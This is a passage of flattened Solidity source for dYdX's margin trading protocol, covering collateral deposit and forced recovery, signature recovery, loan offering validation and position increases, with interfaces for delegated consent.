positionId, requestedCloseAmount, payoutRecipient, address(0), true, true ); uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient( state, transaction, 0, // No buyback cost 0 // Did not receive any owedToken ); ClosePositionShared.closePositionStateUpdate(state, transaction); logEventOnCloseWithoutCounterparty(transaction); return ( transaction.closeAmount, heldTokenPayout ); } // ============ Private Helper-Functions ============ function logEventOnCloseWithoutCounterparty( ClosePositionShared.CloseTx transaction ) private { emit PositionClosed( transaction.positionId, msg.sender, transaction.payoutRecipient, transaction.closeAmount, transaction.originalPrincipal.sub(transaction.closeAmount), 0, transaction.availableHeldToken, 0, true ); } } // File: contracts/margin/interfaces/owner/DepositCollateralDelegator.sol /** * @title DepositCollateralDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses deposit heldTokens * into a position owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface DepositCollateralDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call depositCollateral(). * * @param depositor Address of the caller of the depositCollateral() function * @param positionId Unique ID of the position * @param amount Requested deposit amount * @return This address to accept, a different address to ask that contract */ function depositCollateralOnBehalfOf( address depositor, bytes32 positionId, uint256 amount ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/DepositCollateralImpl.sol /** * @title DepositCollateralImpl * @author dYdX * * This library contains the implementation for the deposit function of Margin */ library DepositCollateralImpl { using SafeMath for uint256; // ============ Events ============ /** * Additional collateral for a position was posted by the owner */ event AdditionalCollateralDeposited( bytes32 indexed positionId, uint256 amount, address depositor ); /** * A margin call was canceled */ event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); // ============ Public Implementation Functions ============ function depositCollateralImpl( MarginState.State storage state, bytes32 positionId, uint256 depositAmount ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( depositAmount > 0, "DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0" ); // Ensure owner consent depositCollateralOnBehalfOfRecurse( position.owner, msg.sender, positionId, depositAmount ); Vault(state.VAULT).transferToVault( positionId, position.heldToken, msg.sender, depositAmount ); // cancel margin call if applicable bool marginCallCanceled = false; uint256 requiredDeposit = position.requiredDeposit; if (position.callTimestamp > 0 && requiredDeposit > 0) { if (depositAmount >= requiredDeposit) { position.requiredDeposit = 0; position.callTimestamp = 0; marginCallCanceled = true; } else { position.requiredDeposit = position.requiredDeposit.sub(depositAmount); } } emit AdditionalCollateralDeposited( positionId, depositAmount, msg.sender ); if (marginCallCanceled) { emit MarginCallCanceled( positionId, position.lender, msg.sender, depositAmount ); } } // ============ Private Helper-Functions ============ function depositCollateralOnBehalfOfRecurse( address contractAddr, address depositor, bytes32 positionId, uint256 amount ) private { // no need to ask for permission if (depositor == contractAddr) { return; } address newContractAddr = DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf( depositor, positionId, amount ); // if not equal, recurse if (newContractAddr != contractAddr) { depositCollateralOnBehalfOfRecurse( newContractAddr, depositor, positionId, amount ); } } } // File: contracts/margin/interfaces/lender/ForceRecoverCollateralDelegator.sol /** * @title ForceRecoverCollateralDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses * forceRecoverCollateral() a loan owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface ForceRecoverCollateralDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call * forceRecoverCollateral(). * * NOTE: If not returning zero address (or not reverting), this contract must assume that Margin * will either revert the entire transaction or that the collateral was forcibly recovered. * * @param recoverer Address of the caller of the forceRecoverCollateral() function * @param positionId Unique ID of the position * @param recipient Address to send the recovered tokens to * @return This address to accept, a different address to ask that contract */ function forceRecoverCollateralOnBehalfOf( address recoverer, bytes32 positionId, address recipient ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/ForceRecoverCollateralImpl.sol /** * @title ForceRecoverCollateralImpl * @author dYdX * * This library contains the implementation for the forceRecoverCollateral function of Margin */ library ForceRecoverCollateralImpl { using SafeMath for uint256; // ============ Events ============ /** * Collateral for a position was forcibly recovered */ event CollateralForceRecovered( bytes32 indexed positionId, address indexed recipient, uint256 amount ); // ============ Public Implementation Functions ============ function forceRecoverCollateralImpl( MarginState.State storage state, bytes32 positionId, address recipient ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); // Can only force recover after either: // 1) The loan was called and the call period has elapsed // 2) The maxDuration of the position has elapsed require( /* solium-disable-next-line */ ( position.callTimestamp > 0 && block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit) ) || ( block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration) ), "ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet" ); // Ensure lender consent forceRecoverCollateralOnBehalfOfRecurse( position.lender, msg.sender, positionId, recipient ); // Send the tokens uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId); Vault(state.VAULT).transferFromVault( positionId, position.heldToken, recipient, heldTokenRecovered ); // Delete the position // NOTE: Since position is a storage pointer, this will also set all fields on // the position variable to 0 MarginCommon.cleanupPosition( state, positionId ); // Log an event emit CollateralForceRecovered( positionId, recipient, heldTokenRecovered ); return heldTokenRecovered; } // ============ Private Helper-Functions ============ function forceRecoverCollateralOnBehalfOfRecurse( address contractAddr, address recoverer, bytes32 positionId, address recipient ) private { // no need to ask for permission if (recoverer == contractAddr) { return; } address newContractAddr = ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf( recoverer, positionId, recipient ); if (newContractAddr != contractAddr) { forceRecoverCollateralOnBehalfOfRecurse( newContractAddr, recoverer, positionId, recipient ); } } } // File: contracts/lib/TypedSignature.sol /** * @title TypedSignature * @author dYdX * * Allows for ecrecovery of signed hashes with three different prepended messages: * 1) "" * 2) "\x19Ethereum Signed Message:\n32" * 3) "\x19Ethereum Signed Message:\n\x20" */ library TypedSignature { // Solidity does not offer guarantees about enum values, so we define them explicitly uint8 private constant SIGTYPE_INVALID = 0; uint8 private constant SIGTYPE_ECRECOVER_DEC = 1; uint8 private constant SIGTYPE_ECRECOVER_HEX = 2; uint8 private constant SIGTYPE_UNSUPPORTED = 3; // prepended message with the length of the signed hash in hexadecimal bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20"; // prepended message with the length of the signed hash in decimal bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32"; /** * Gives the address of the signer of a hash. Allows for three common prepended strings. * * @param hash Hash that was signed (does not include prepended message) * @param signatureWithType Type and ECDSA signature with structure: {1:type}{1:v}{32:r}{32:s} * @return address of the signer of the hash */ function recover( bytes32 hash, bytes signatureWithType ) internal pure returns (address) { require( signatureWithType.length == 66, "SignatureValidator#validateSignature: invalid signature length" ); uint8 sigType = uint8(signatureWithType[0]); require( sigType > uint8(SIGTYPE_INVALID), "SignatureValidator#validateSignature: invalid signature type" ); require( sigType < uint8(SIGTYPE_UNSUPPORTED), "SignatureValidator#validateSignature: unsupported signature type" ); uint8 v = uint8(signatureWithType[1]); bytes32 r; bytes32 s; /* solium-disable-next-line security/no-inline-assembly */ assembly { r := mload(add(signatureWithType, 34)) s := mload(add(signatureWithType, 66)) } bytes32 signedHash; if (sigType == SIGTYPE_ECRECOVER_DEC) { signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash)); } else { assert(sigType == SIGTYPE_ECRECOVER_HEX); signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash)); } return ecrecover( signedHash, v, r, s ); } } // File: contracts/margin/interfaces/LoanOfferingVerifier.sol /** * @title LoanOfferingVerifier * @author dYdX * * Interface that smart contracts must implement to be able to make off-chain generated * loan offerings. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface LoanOfferingVerifier { /** * Function a smart contract must implement to be able to consent to a loan. The loan offering * will be generated off-chain. The "loan owner" address will own the loan-side of the resulting * position. * * If true is returned, and no errors are thrown by the Margin contract, the loan will have * occurred. This means that verifyLoanOffering can also be used to update internal contract * state on a loan. * * @param addresses Array of addresses: * * [0] = owedToken * [1] = heldToken * [2] = loan payer * [3] = loan owner * [4] = loan taker * [5] = loan positionOwner * [6] = loan fee recipient * [7] = loan lender fee token * [8] = loan taker fee token * * @param values256 Values corresponding to: * * [0] = loan maximum amount * [1] = loan minimum amount * [2] = loan minimum heldToken * [3] = loan lender fee * [4] = loan taker fee * [5] = loan expiration timestamp (in seconds) * [6] = loan salt * * @param values32 Values corresponding to: * * [0] = loan call time limit (in seconds) * [1] = loan maxDuration (in seconds) * [2] = loan interest rate (annual nominal percentage times 10**6) * [3] = loan interest update period (in seconds) * * @param positionId Unique ID of the position * @param signature Arbitrary bytes; may or may not be an ECDSA signature * @return This address to accept, a different address to ask that contract */ function verifyLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/BorrowShared.sol /** * @title BorrowShared * @author dYdX * * This library contains shared functionality between OpenPositionImpl and IncreasePositionImpl. * Both use a Loan Offering and a DEX Order to open or increase a position. */ library BorrowShared { using SafeMath for uint256; // ============ Structs ============ struct Tx { bytes32 positionId; address owner; uint256 principal; uint256 lenderAmount; MarginCommon.LoanOffering loanOffering; address exchangeWrapper; bool depositInHeldToken; uint256 depositAmount; uint256 collateralAmount; uint256 heldTokenFromSell; } // ============ Internal Implementation Functions ============ /** * Validate the transaction before exchanging heldToken for owedToken */ function validateTxPreSell( MarginState.State storage state, Tx memory transaction ) internal { assert(transaction.lenderAmount >= transaction.principal); require( transaction.principal > 0, "BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed" ); // If the taker is 0x0 then any address can take it. Otherwise only the taker can use it. if (transaction.loanOffering.taker != address(0)) { require( msg.sender == transaction.loanOffering.taker, "BorrowShared#validateTxPreSell: Invalid loan offering taker" ); } // If the positionOwner is 0x0 then any address can be set as the position owner. // Otherwise only the specified positionOwner can be set as the position owner. if (transaction.loanOffering.positionOwner != address(0)) { require( transaction.owner == transaction.loanOffering.positionOwner, "BorrowShared#validateTxPreSell: Invalid position owner" ); } // Require the loan offering to be approved by the payer if (AddressUtils.isContract(transaction.loanOffering.payer)) { getConsentFromSmartContractLender(transaction); } else { require( transaction.loanOffering.payer == TypedSignature.recover( transaction.loanOffering.loanHash, transaction.loanOffering.signature ), "BorrowShared#validateTxPreSell: Invalid loan offering signature" ); } // Validate the amount is <= than max and >= min uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl( state, transaction.loanOffering.loanHash ); require( transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount, "BorrowShared#validateTxPreSell: Loan offering does not have enough available" ); require( transaction.lenderAmount >= transaction.loanOffering.rates.minAmount, "BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount" ); require( transaction.loanOffering.owedToken != transaction.loanOffering.heldToken, "BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken" ); require( transaction.owner != address(0), "BorrowShared#validateTxPreSell: Position owner cannot be 0" ); require( transaction.loanOffering.owner != address(0), "BorrowShared#validateTxPreSell: Loan owner cannot be 0" ); require( transaction.loanOffering.expirationTimestamp > block.timestamp, "BorrowShared#validateTxPreSell: Loan offering is expired" ); require( transaction.loanOffering.maxDuration > 0, "BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration" ); require( transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration, "BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration" ); // The minimum heldToken is validated after executing the sell // Position and loan ownership is validated in TransferInternal } /** * Validate the transaction after exchanging heldToken for owedToken, pay out fees, and store * how much of the loan was used. */ function doPostSell( MarginState.State storage state, Tx memory transaction ) internal { validateTxPostSell(transaction); // Transfer feeTokens from trader and lender transferLoanFees(state, transaction); // Update global amounts for the loan state.loanFills[transaction.loanOffering.loanHash] = state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount); } /** * Sells the owedToken from the lender (and from the deposit if in owedToken) using the * exchangeWrapper, then puts the resulting heldToken into the vault. Only trades for * maxHeldTokenToBuy of heldTokens at most. */ function doSell( MarginState.State storage state, Tx transaction, bytes orderData, uint256 maxHeldTokenToBuy ) internal returns (uint256) { // Move owedTokens from lender to exchange wrapper pullOwedTokensFromLender(state, transaction); // Sell just the lender's owedToken (if trader deposit is in heldToken) // Otherwise sell both the lender's owedToken and the trader's deposit in owedToken uint256 sellAmount = transaction.depositInHeldToken ? transaction.lenderAmount : transaction.lenderAmount.add(transaction.depositAmount); // Do the trade, taking only the maxHeldTokenToBuy if more is returned uint256 heldTokenFromSell = Math.min256( maxHeldTokenToBuy, ExchangeWrapper(transaction.exchangeWrapper).exchange( msg.sender, state.TOKEN_PROXY, transaction.loanOffering.heldToken, transaction.loanOffering.owedToken, sellAmount, orderData ) ); // Move the tokens to the vault Vault(state.VAULT).transferToVault( transaction.positionId, transaction.loanOffering.heldToken, transaction.exchangeWrapper, heldTokenFromSell ); // Update collateral amount transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell); return heldTokenFromSell; } /** * Take the owedToken deposit from the trader and give it to the exchange wrapper so that it can * be sold for heldToken. */ function doDepositOwedToken( MarginState.State storage state, Tx transaction ) internal { TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.loanOffering.owedToken, msg.sender, transaction.exchangeWrapper, transaction.depositAmount ); } /** * Take the heldToken deposit from the trader and move it to the vault. */ function doDepositHeldToken( MarginState.State storage state, Tx transaction ) internal { Vault(state.VAULT).transferToVault( transaction.positionId, transaction.loanOffering.heldToken, msg.sender, transaction.depositAmount ); // Update collateral amount transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount); } // ============ Private Helper-Functions ============ function validateTxPostSell( Tx transaction ) private pure { uint256 expectedCollateral = transaction.depositInHeldToken ? transaction.heldTokenFromSell.add(transaction.depositAmount) : transaction.heldTokenFromSell; assert(transaction.collateralAmount == expectedCollateral); uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.minHeldToken ); require( transaction.collateralAmount >= loanOfferingMinimumHeldToken, "BorrowShared#validateTxPostSell: Loan offering minimum held token not met" ); } function getConsentFromSmartContractLender( Tx transaction ) private { verifyLoanOfferingRecurse( transaction.loanOffering.payer, getLoanOfferingAddresses(transaction), getLoanOfferingValues256(transaction), getLoanOfferingValues32(transaction), transaction.positionId, transaction.loanOffering.signature ); } function verifyLoanOfferingRecurse( address contractAddr, address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) private { address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering( addresses, values256, values32, positionId, signature ); if (newContractAddr != contractAddr) { verifyLoanOfferingRecurse( newContractAddr, addresses, values256, values32, positionId, signature ); } } function pullOwedTokensFromLender( MarginState.State storage state, Tx transaction ) private { // Transfer owedToken to the exchange wrapper TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.loanOffering.owedToken, transaction.loanOffering.payer, transaction.exchangeWrapper, transaction.lenderAmount ); } function transferLoanFees( MarginState.State storage state, Tx transaction ) private { // 0 fee address indicates no fees if (transaction.loanOffering.feeRecipient == address(0)) { return; } TokenProxy proxy = TokenProxy(state.TOKEN_PROXY); uint256 lenderFee = MathHelpers.getPartialAmount( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.lenderFee ); uint256 takerFee = MathHelpers.getPartialAmount( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.takerFee ); if (lenderFee > 0) { proxy.transferTokens( transaction.loanOffering.lenderFeeToken, transaction.loanOffering.payer, transaction.loanOffering.feeRecipient, lenderFee ); } if (takerFee > 0) { proxy.transferTokens( transaction.loanOffering.takerFeeToken, msg.sender, transaction.loanOffering.feeRecipient, takerFee ); } } function getLoanOfferingAddresses( Tx transaction ) private pure returns (address[9]) { return [ transaction.loanOffering.owedToken, transaction.loanOffering.heldToken, transaction.loanOffering.payer, transaction.loanOffering.owner, transaction.loanOffering.taker, transaction.loanOffering.positionOwner, transaction.loanOffering.feeRecipient, transaction.loanOffering.lenderFeeToken, transaction.loanOffering.takerFeeToken ]; } function getLoanOfferingValues256( Tx transaction ) private pure returns (uint256[7]) { return [ transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.minAmount, transaction.loanOffering.rates.minHeldToken, transaction.loanOffering.rates.lenderFee, transaction.loanOffering.rates.takerFee, transaction.loanOffering.expirationTimestamp, transaction.loanOffering.salt ]; } function getLoanOfferingValues32( Tx transaction ) private pure returns (uint32[4]) { return [ transaction.loanOffering.callTimeLimit, transaction.loanOffering.maxDuration, transaction.loanOffering.rates.interestRate, transaction.loanOffering.rates.interestPeriod ]; } } // File: contracts/margin/interfaces/lender/IncreaseLoanDelegator.sol /** * @title IncreaseLoanDelegator * @author dYdX * * Interface that smart contracts must implement in order to own loans on behalf of other accounts. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface IncreaseLoanDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to allow additional value to be added onto * an owned loan. Margin will call this on the owner of a loan during increasePosition(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the loan size was successfully increased. * * @param payer Lender adding additional funds to the position * @param positionId Unique ID of the position * @param principalAdded Principal amount to be added to the position * @param lentAmount Amount of owedToken lent by the lender (principal plus interest, or * zero if increaseWithoutCounterparty() is used). * @return This address to accept, a different address to ask that contract */ function increaseLoanOnBehalfOf( address payer, bytes32 positionId, uint256 principalAdded, uint256 lentAmount ) external /* onlyMargin */ returns (address); } // File: contracts/margin/interfaces/owner/IncreasePositionDelegator.sol /** * @title IncreasePositionDelegator * @author dYdX * * Interface that smart contracts must implement in order to own position on behalf of other * accounts * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface IncreasePositionDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to allow additional value to be added onto * an owned position. Margin will call this on the owner of a position during increasePosition() * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the position size was successfully increased. * * @param trader Address initiating the addition of funds to the position * @param positionId Unique ID of the position * @param principalAdded Amount of principal to be added to the position * @return This address to accept, a different address to ask that contract */ function increasePositionOnBehalfOf( address trader, bytes32 positionId, uint256 principalAdded ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/IncreasePositionImpl.sol /** * @title IncreasePositionImpl * @author dYdX * * This library contains the implementation for the increasePosition function of Margin */ library IncreasePositionImpl { using SafeMath for uint256; // ============ Events ============ /* * A position was increased */ event PositionIncreased( bytes32 indexed positionId, address indexed trader, address indexed lender, address positionOwner, address loanOwner, bytes32 loanHash, address loanFeeRecipient, uint256 amountBorrowed, uint256 principalAdded, uint256 heldTokenFromSell, uint256 depositAmount, bool depositInHeldToken ); // ============ Public Implementation Functions ============ function increasePositionImpl( MarginState.State storage state, bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature, bytes orderData ) public returns (uint256) { // Also ensures that the position exists MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); BorrowShared.Tx memory transaction = parseIncreasePositionTx( position, positionId, addresses, values256, values32, depositInHeldToken, signature ); validateIncrease(state, transaction, position); doBorrowAndSell(state, transaction, orderData); updateState( position, transaction.positionId, transaction.principal, transaction.lenderAmount, transaction.loanOffering.payer ); // LOG EVENT recordPositionIncreased(transaction, position); return transaction.lenderAmount; } function increaseWithoutCounterpartyImpl( MarginState.State storage state, bytes32 positionId, uint256 principalToAdd ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); // Disallow adding 0 principal require( principalToAdd > 0, "IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal" ); // Disallow additions after maximum duration require( block.timestamp < uint256(position.startTimestamp).add(position.maxDuration), "IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration" ); uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal( state, position, positionId, principalToAdd ); Vault(state.VAULT).transferToVault( positionId, position.heldToken, msg.sender, heldTokenAmount ); updateState( position, positionId, principalToAdd, 0, // lent amount msg.sender ); emit PositionIncreased( positionId, msg.sender, msg.sender, position.owner, position.lender, "", address(0), 0, principalToAdd, 0, heldTokenAmount, true ); return heldTokenAmount; } // ============ Private Helper-Functions ============ function doBorrowAndSell( MarginState.State storage state, BorrowShared.Tx memory transaction, bytes orderData ) private { // Calculate the number of heldTokens to add uint256 collateralToAdd = getCollateralNeededForAddedPrincipal( state, state.positions[transaction.positionId], transaction.positionId, transaction.principal ); // Do pre-exchange validations BorrowShared.validateTxPreSell(state, transaction); // Calculate and deposit owedToken uint256 maxHeldTokenFromSell = MathHelpers.maxUint256(); if (!transaction.depositInHeldToken) { transaction.depositAmount = getOwedTokenDeposit(transaction, collateralToAdd, orderData); BorrowShared.doDepositOwedToken(state, transaction); maxHeldTokenFromSell = collateralToAdd; } // Sell owedToken for heldToken using the exchange wrapper transaction.heldTokenFromSell = BorrowShared.doSell( state, transaction, orderData, maxHeldTokenFromSell ); // Calculate and deposit heldToken if (transaction.depositInHeldToken) { require( transaction.heldTokenFromSell <= collateralToAdd, "IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken" ); transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell); BorrowShared.doDepositHeldToken(state, transaction); } // Make sure the actual added collateral is what is expected assert(transaction.collateralAmount == collateralToAdd); // Do post-exchange validations BorrowShared.doPostSell(state, transaction); } function getOwedTokenDeposit( BorrowShared.Tx transaction, uint256 collateralToAdd, bytes orderData ) private view returns (uint256) { uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost( transaction.loanOffering.heldToken, transaction.loanOffering.owedToken, collateralToAdd, orderData ); require( transaction.lenderAmount <= totalOwedToken, "IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required" ); return totalOwedToken.sub(transaction.lenderAmount); } function validateIncrease( MarginState.State storage state, BorrowShared.Tx transaction, MarginCommon.Position storage position ) private view { assert(MarginCommon.containsPositionImpl(state, transaction.positionId)); require( position.callTimeLimit <= transaction.loanOffering.callTimeLimit, "IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position" ); // require the position to end no later than the loanOffering's maximum acceptable end time uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration); uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration); require( positionEndTimestamp <= offeringEndTimestamp, "IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position" ); require( block.timestamp < positionEndTimestamp, "IncreasePositionImpl#validateIncrease: Position has passed its maximum duration" ); } function getCollateralNeededForAddedPrincipal( MarginState.State storage state, MarginCommon.Position storage position, bytes32 positionId, uint256 principalToAdd ) private view returns (uint256) { uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId); return MathHelpers.getPartialAmountRoundedUp( principalToAdd, position.principal, heldTokenBalance ); } function updateState( MarginCommon.Position storage position, bytes32 positionId, uint256 principalAdded, uint256 owedTokenLent, address loanPayer ) private { position.principal = position.principal.add(principalAdded); address owner = position.owner; address lender = position.lender; // Ensure owner consent increasePositionOnBehalfOfRecurse( owner, msg.sender, positionId, principalAdded ); // Ensure lender consent increaseLoanOnBehalfOfRecurse( lender, loanPayer, positionId, principalAdded, owedTokenLent ); } function increasePositionOnBehalfOfRecurse( address contractAddr, address trader, bytes32 positionId, uint256 principalAdded ) private { // Assume owner approval if not a smart contract and they increased their own position if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) { return; } address newContractAddr = IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf( trader, positionId, principalAdded ); if (newContractAddr != contractAddr) { increasePositionOnBehalfOfRecurse( newContractAddr, trader, positionId, principalAdded ); } } function increaseLoanOnBehalfOfRecurse( address contractAddr, address payer, bytes32 positionId, uint256 principalAdded, uint256 amountLent ) private { // Assume lender approval if not a smart contract and they increased their own loan if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) { return; } address newContractAddr = IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf( payer, positionId, principalAdded, amountLent ); if (newContractAddr != contractAddr) { increaseLoanOnBehalfOfRecurse( newContractAddr, payer, positionId, principalAdded, amountLent ); } } function recordPositionIncreased( BorrowShared.Tx transaction, MarginCommon.Position storage position ) private { emit PositionIncreased( transaction.positionId, msg.sender, transaction.loanOffering.payer, position.owner, position.lender, transaction.loanOffering.loanHash, transaction.loanOffering.feeRecipient, transaction.lenderAmount, transaction.principal, transaction.heldTokenFromSell, transaction.depositAmount, transaction.depositInHeldToken ); } // ============ Parsing Functions ============ function parseIncreasePositionTx( MarginCommon.Position storage position, bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature ) private view returns (BorrowShared.Tx memory) { uint256 principal = values256[7]; uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition( position, principal, block.timestamp ); assert(lenderAmount >= principal); BorrowShared.Tx memory transaction = BorrowShared.Tx({ positionId: positionId, owner: position.owner, principal: principal, lenderAmount: lenderAmount, loanOffering: parseLoanOfferingFromIncreasePositionTx( position, addresses, values256, values32, signature ), exchangeWrapper: addresses[6], depositInHeldToken: depositInHeldToken, depositAmount: 0, // set later collateralAmount: 0, // set later heldTokenFromSell: 0 // set later }); return transaction; } function parseLoanOfferingFromIncreasePositionTx( MarginCommon.Position storage position, address[7] addresses, uint256[8] values256, uint32[2] values32, bytes signature ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: position.owedToken, heldToken: position.heldToken, payer: addresses[0], owner: position.lender, taker: addresses[1], positionOwner: addresses[2], feeRecipient: addresses[3], lenderFeeToken: addresses[4], takerFeeToken: addresses[5], rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: signature }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferingRatesFromIncreasePositionTx( MarginCommon.Position storage position, uint256[8] values256 ) private view returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], lenderFee: values256[3], takerFee: values256[4], interestRate: position.interestRate, interestPeriod: position.interestPeriod }); return rates; } } // File: contracts/margin/impl/MarginStorage.sol /** * @title MarginStorage * @author dYdX * * This contract serves as the storage for the entire state of MarginStorage */ contract MarginStorage { MarginState.State state; } // File: contracts/margin/impl/LoanGetters.sol /** * @title LoanGetters * @author dYdX * * A collection of public constant getter functions that allows reading of the state of any loan * offering stored in the dYdX protocol. */ contract LoanGetters is MarginStorage { // ============ Public Constant Functions ============ /** * Gets the principal amount of a loan offering that is no longer available. * * @param loanHash Unique hash of the loan offering * @return The total unavailable amount of the loan offering, which is equal to the * filled amount plus the canceled amount. */ function getLoanUnavailableAmount( bytes32 loanHash ) external view returns (uint256) { return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash); } /** * Gets the total amount of owed token lent for a loan. * * @param loanHash Unique hash of the loan offering * @return The total filled amount of the loan offering. */ function getLoanFilledAmount( bytes32 loanHash ) external view returns (uint256) { return state.loanFills[loanHash]; } /** * Gets the amount of a loan offering that has been canceled. * * @param loanHash Unique hash of the loan offering * @return The total canceled amount of the loan offering. */ function getLoanCanceledAmount( bytes32 loanHash ) external view returns (uint256) { return state.loanCancels[loanHash]; } } // File: contracts/margin/interfaces/lender/CancelMarginCallDelegator.sol /** * @title CancelMarginCallDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses cancel a * margin-call for a loan owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface CancelMarginCallDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call cancelMarginCall(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the margin-call was successfully canceled. * * @param canceler Address of the caller of the cancelMarginCall function * @param positionId Unique ID of the position * @return This address to accept, a different address to ask that contract */ function cancelMarginCallOnBehalfOf( address canceler, bytes32 positionId ) external /* onlyMargin */ returns (address); } // File: contracts/margin/interfaces/lender/MarginCallDelegator.sol /** * @title MarginCallDelegator * @author dYdX * * Interface that smart contracts must implement in order to let other addresses margin-call a loan * owned by the smart contract. * * NOTE: Any contract implementing this interface should also use OnlyMargin to control access * to these functions */ interface MarginCallDelegator { // ============ Public Interface functions ============ /** * Function a contract must implement in order to let other addresses call marginCall(). * * NOTE: If not returning zero (or not reverting), this contract must assume that Margin will * either revert the entire transaction or that the loan was successfully margin-called. * * @param caller Address of the caller of the marginCall function * @param positionId Unique ID of the position * @param depositAmount Amount of heldToken deposit that will be required to cancel the call * @return This address to accept, a different address to ask that contract */ function marginCallOnBehalfOf( address caller, bytes32 positionId, uint256 depositAmount ) external /* onlyMargin */ returns (address); } // File: contracts/margin/impl/LoanImpl.sol /** * @title LoanImpl * @author dYdX * * This library contains the implementation for the following functions of Margin: * * - marginCall * - cancelMarginCallImpl * - cancelLoanOffering */ library LoanImpl { using SafeMath for uint256; // ============ Events ============ /** * A position was margin-called */ event MarginCallInitiated( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 requiredDeposit ); /** * A margin call was 